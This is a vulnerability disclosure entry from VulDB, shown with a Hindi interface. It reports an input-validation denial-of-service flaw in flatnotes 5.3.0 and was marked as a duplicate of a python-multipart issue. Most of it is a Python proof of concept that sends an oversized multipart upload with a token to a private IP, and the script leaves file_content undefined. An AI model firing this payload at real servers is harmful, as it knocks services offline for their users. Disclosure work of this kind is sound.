| शीर्षक | github dullage 5.3.0 Improper Input Validation |
|---|
| विवरण | Anyone who can log in to flatnotes and upload images through the function can cause DOS , which can prevent others from using it, other API interfaces from being accessed, and server DOS attacks.
Attackers can send the following two POCs, causing the victim's server to be occupied by CPU resources for a long time, unable to process requests from other normal users, thus causing harm to DOS.
```
import requests
url = "http://192.168.137.11:8080/api/attachments"
headers = {
"Authorization": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyIiwiZXhwIjoxNzMzMzg1NzA4fQ.GI9swgQd0pDSP0q4mgLc-pMV94xl4KE5_jJNenZChmc",
"Accept-Language": "zh-CN,zh;q=0.9",
"Accept": "application/json, text/plain, */*",
"Content-Type": "multipart/form-data",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36",
"Origin": "http://192.168.137.11:8080",
"Referer": "http://192.168.137.11:8080/new",
"Accept-Encoding": "gzip, deflate, br",
"Cookie": "token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyIiwiZXhwIjoxNzMzMzg1NzA4fQ.GI9swgQd0pDSP0q4mgLc-pMV94xl4KE5_jJNenZChmc",
"Connection": "keep-alive"
}
data = (
"------WebKitFormBoundaryN20AMdlOKTaspeAy\r\n"
"Content-Disposition: form-data; name=\"file\"; filename=\"sword.png\"\r\n"
"Content-Type: image/png\r\n\r\n" + file_content+ "\r\n"
"------WebKitFormBoundaryN20AMdlOKTaspeAy--"+"0123456789"*50000+"\r\n"
)
response = requests.post(url, headers=headers, data=data)
```
|
|---|
| स्रोत | ⚠️ https://github.com/Startr4ck/CVE_lists/blob/main/flatnotes/flatnotes%20webserver%20dos.md |
|---|
| उपयोगकर्ता | startr4ck (UID 76213) |
|---|
| सबमिशन | 12/12/2024 08:14 AM (2 साल पहले) |
|---|
| संयम | 16/12/2024 09:57 AM (4 days later) |
|---|
| स्थिति | प्रतिलिपि |
|---|
| VulDB प्रविष्टि | 286650 [Kludex python-multipart तक 0.0.17 पर Python Line Break सेवा अस्वीकार] |
|---|
| अंक | 0 |
|---|